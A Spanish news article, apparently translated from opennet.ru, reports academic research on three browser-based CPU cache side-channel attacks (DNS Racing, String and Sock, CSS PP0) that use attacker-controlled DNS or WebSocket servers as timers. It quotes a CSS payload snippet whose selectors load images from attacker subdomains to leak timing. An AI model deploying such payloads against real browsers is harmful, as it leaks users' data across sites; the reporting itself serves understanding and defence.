Ataque de extracción de caché de CPU implementado en un navegador web sin JavaScript

Un equipo de investigadores de varias universidades estadounidenses, israelíes y australianas ha desarrollado tres ataques que se ejecutan en navegadores web para extraer información sobre el contenido de la caché del procesador. Un método funciona en navegadores sin JavaScript y los otros dos evitan los métodos de protección existentes contra ataques de canales laterales, incluidos los utilizados en el navegador Tor y DeterFox. El código para demostrar los ataques, así como los componentes del servidor necesarios para los ataques, se publican en GitHub.

Para analizar el contenido de la caché, todos los ataques utilizan el método Prime+Probe, que consiste en llenar la caché con un conjunto estándar de valores y detectar cambios midiendo el tiempo de acceso a ellos al rellenarlas. Para evitar los mecanismos de seguridad presentes en los navegadores que interfieren con la medición precisa del tiempo, en dos opciones, se apela a un servidor DNS o WebSocket controlado por el atacante, que mantiene un registro del tiempo de las solicitudes recibidas. En una realización, se utiliza un tiempo de respuesta DNS fijo como referencia de tiempo.

Las mediciones realizadas mediante servidores DNS o WebSocket externos, utilizando un sistema de clasificación basado en aprendizaje automático, fueron suficientes para predecir valores con una precisión de hasta el 98% en el escenario más óptimo (promedio 80-90%). Los métodos de ataque se han probado en varias plataformas de hardware (Intel, AMD Ryzen, Apple M1, Samsung Exynos) y han demostrado ser universales.

Ataque de extracción de caché de CPU implementado en un navegador web sin JavaScript

La primera variante del ataque DNS Racing utiliza una implementación clásica del método Prime+Probe utilizando matrices de JavaScript. Las diferencias se reducen al uso de un temporizador externo basado en DNS y un controlador de errores, que se activa cuando se intenta cargar una imagen desde un dominio inexistente. Un temporizador externo permite un ataque Prime+Probe en navegadores que limitan o desactivan por completo el acceso a los temporizadores de JavaScript.

Para un servidor DNS ubicado en la misma red Ethernet, se estima que la precisión del temporizador es de aproximadamente 2 ms, lo que es suficiente para llevar a cabo un ataque de canal lateral (a modo de comparación, la precisión del temporizador de JavaScript estándar en el navegador Tor es reducido a 100 ms). Para un ataque, no se requiere control sobre el servidor DNS, ya que el tiempo de ejecución de la operación se selecciona de modo que el tiempo de respuesta del DNS sirva como señal de que la verificación se completó antes (dependiendo de si se activó el controlador de error). antes o después, se llega a una conclusión sobre la velocidad de la operación de verificación con el caché) .

El segundo método de ataque, "String and Sock", tiene como objetivo eludir las técnicas de seguridad que restringen el uso de bajo nivel de matrices en JavaScript. En lugar de matrices, String and Sock utiliza operaciones en cadenas muy grandes, cuyo tamaño se elige de modo que la variable cubra toda la caché LLC (caché de último nivel). A continuación, utilizando la función indexOf(), se busca una pequeña subcadena en la cadena, que inicialmente está ausente en la cadena fuente, es decir la operación de búsqueda da como resultado la iteración sobre toda la cadena. Dado que el tamaño de la línea corresponde al tamaño del caché LLC, el escaneo le permite realizar una operación de verificación del caché sin manipular las matrices. Para medir los retrasos, en lugar de DNS, se realiza una llamada a un servidor WebSocket controlado por el atacante; antes y después de completar la operación de búsqueda, se envían consultas en la línea, en función de las cuales el servidor calcula el retraso utilizado para analizar el caché. contenido.

La tercera variante del ataque “CSS PP0” se implementa mediante HTML y CSS, y puede funcionar en navegadores con JavaScript deshabilitado. El método es similar a "String and Sock", pero no está vinculado a JavaScript. Durante el ataque se genera un conjunto de selectores CSS que buscan por máscara. La cadena grande inicial que llena el caché se establece creando una etiqueta div con un nombre de clase muy grande. En el interior hay un conjunto de otros divs con sus propios identificadores. Cada uno de estos divs anidados tiene su propio estilo con un selector que busca una subcadena. Al representar una página, el navegador primero intenta procesar los divs internos, lo que da como resultado una operación de búsqueda en una fila grande. La búsqueda se realiza utilizando una máscara que falta deliberadamente y conduce a una iteración sobre toda la línea, después de lo cual se activa la condición "no" y se intenta cargar una imagen de fondo que haga referencia a dominios aleatorios: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Los subdominios son atendidos por el servidor DNS del atacante, que puede medir los retrasos en la recepción de solicitudes. El servidor DNS emite NXDOMAIN para todas las solicitudes y mantiene un registro de la hora exacta de las solicitudes. Como resultado del procesamiento de un conjunto de divs, el servidor DNS del atacante recibe una serie de solicitudes, cuyos retrasos se correlacionan con el resultado de verificar el contenido de la caché.

Ataque de extracción de caché de CPU implementado en un navegador web sin JavaScript


Fuente: opennet.ru

Añadir un comentario